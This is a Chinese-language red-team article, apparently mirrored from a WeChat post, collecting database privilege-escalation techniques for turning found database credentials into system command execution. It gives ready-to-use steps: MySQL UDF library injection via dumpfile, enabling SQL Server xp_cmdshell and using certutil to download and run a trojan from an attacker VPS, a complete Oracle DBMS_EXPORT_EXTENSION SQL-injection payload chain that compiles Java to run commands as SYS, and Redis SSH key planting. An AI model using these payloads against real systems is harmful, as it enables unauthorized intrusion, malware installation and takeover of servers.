Skip to content

Latest commit

 

History

History
281 lines (165 loc) · 10.4 KB

数据库提权合集.md

File metadata and controls

281 lines (165 loc) · 10.4 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

hw 结束,容我歇几天

作者:keaitm

介绍:没有人比我更擅长干饭

在 hw 时常常能从配置文件中获得一些数据库的账号密码,然后就可以尝试利用数据库运行系统命令达到上线等目的。

✔ 0x01 mysql 的 udf 提权


1.1 前提

1.select @@secure_file_priv

secure_file_priv 参数值表示有导入导出权限的路径

为空或为需要操作文件夹的父目录。

如果该参数为空(不是 null),则表示可以向任何目录写操作

  1. 数据库版本不同,udf.dll 放置目录不同

version<5.1    c:\windows\system32

version>=5.1  mysql 安装目录 \ lib\plugin

  1. 注意数据库是 32 位还是 64 位,根据位数选择 udf 的 dll(或 so)

使用SHOW VARIABLES LIKE '%version%'查看

  1. 账户对数据库有插入的权限

1.2 开淦

MySQL5.1.60来一遍完整流程,udf 函数库的话,linux 用 so 文件就可以了(应该吧):

首先,运行以下三行代码分别获得 secure_file_priv、版本信息、安装路径

select @@secure_file_priv;

SHOW VARIABLES LIKE '%version%';  //mysql版本和位数

select @@basedir;  //mysql安装目录

MySQL5.1.60 目录下开始是没有 lib\plugin 目录的

mysql 一般默认是没有 lib\plugin 目录的(据说安装完整版 mysql 就会有)

在低版本的 mysql 中可以使用 NTFS 流创建 lib\plugin 目录,具体命令如下:

SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60\\lib::$INDEX_ALLOCATION';
SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib\\plugin::$INDEX_ALLOCATION';
//运行报Error writing则说明文件夹创建成功
//若报Permission denied则说明失败

--tips:mysql5.1.60版本还能用,版本再高就不一定了,高版本 mysql 会限制流的使用。

高版本没有 lib\plugin 目录目前不知道怎么解决,希望有大佬能指点!

利用 dumpfile 写入 udf.dll 文件,这里要先把文件转换为 16 进制数据,用 UltraEdit 列模式复制出来 16 进制数据,然后写个小脚本把空格和 \ n 删掉。

脚本大概有这么小:

lines=[]
with open("udf.txt", 'r') as file_to_read:
    while True:
        line = file_to_read.readline()
        if not line:
            break
        line = line.strip('\n')
        line = line.replace(" ","")
        lines.append(line)
with open("new.txt", 'a') as new:
    for a in lines:
        new.write(a)

udf.dll 可以在 msf 中获得:

默认为/usr/share/metasploit-framework/data/exploits/mysql目录

使用 dumpfile 写入 udf.dll:

select unhex('dll文件的16进制编码,不要空格和换行,很长一串') into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin/udf.dll';

写入成功。

使用 create function 创建自定义函数 sys_eval():

create function sys_eval returns string soname 'udf.all';

可用函数在 dll 文件中查看:

使用 sys_eval()

接下来就可以进行 certutil 下马之类的操作了。

enjoy it!

✔ 0x02 SQL Server 的 xp_cmdshell


SQL Server 由于有 xp_cmdshell 操作相对简单

2.1 前提

拥有 sa 权限账户

2.2 开淦

xp_cmdshell 一般默认是关闭的,我们要先把这个模块开启

//要先选择master数据库
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go

xp_cmdshell 还有可能被删除,可以尝试恢复

exec sp_dropextendedproc 'xp_cmdshell' dbcc addextendedproc("xp_cmdshell","xplog70.dll") OR dbcc addextendedproc("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");

开启 xp_cmdshell 后就可以通过数据库执行系统命令

exec xp_cmdshell 'whoami'
//例:可以使用xp_cmdshell进行下马操作,需要在vps上开一个http服务
exec xp_cmdshell 'certutil.exe -urlcache -split -f http://vps_ip:vps_port/你的马.exe  c:\temp\a.exe';

✔ 0x03 oracle 的 DBMS_EXPORT_EXTENSION() 漏洞


3.1 前提

  1. 拥有一个有 create session 权限的账户

2.DBMS_EXPORT_EXTENSION() 漏洞存在

DBMS_EXPORT_EXTENSION() 中的 GET_DOMAIN_INDEX_TABLES() 函数是以 sys 权限定义,当其被低权限用户调用时将会以 sys 权限执行。

3.2 开淦

数据库为 oracle10g 的 10.2.0.1版本。

创建一个低权限用户 test

本人不擅长 oracle,这里直接使用了 redn3ck 大佬的 payload。

  1. 创建 java 代码 LinxUtil:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 赋予 public 用户 java 权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 创建系统命令调用函数 LinxRunCMD:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 将 LinxRunCMD 函数执行权限赋予 public 用户:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 使用:
select sys.LinxRunCMD('whoami') from dual

接下来就是愉快的上线环节。

✔ 0x04 未授权访问 redis 利用 SSH key


实战很少能用,一般遇到的 redis 权限都比较低,内网较多。

4.1 前提

需要高权限 redis 账户,能对目标文件夹写入操作。

4.2 开淦

在本地生成 rsa 密钥对:

  1. 在 / root/.ssh 目录运行ssh-keygen -t rsa命令,然后一直回车,得到 rsa 密钥对。

  1. 将公钥 id-rsa.pub 写入目标机 / root/.ssh 目录下的 authorized_keys 文件中:

  1. 直接在. ssh 目录下尝试用 rsa 文件连接目标机:

成功,开始为所欲为。

可以利用相似的方法写入 webshell,前提是知道绝对路径

✔ 0x05 参考


Oracle 注入 - 命令执行 & Shell 反弹

https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

公众号

来都来了,不关注一波?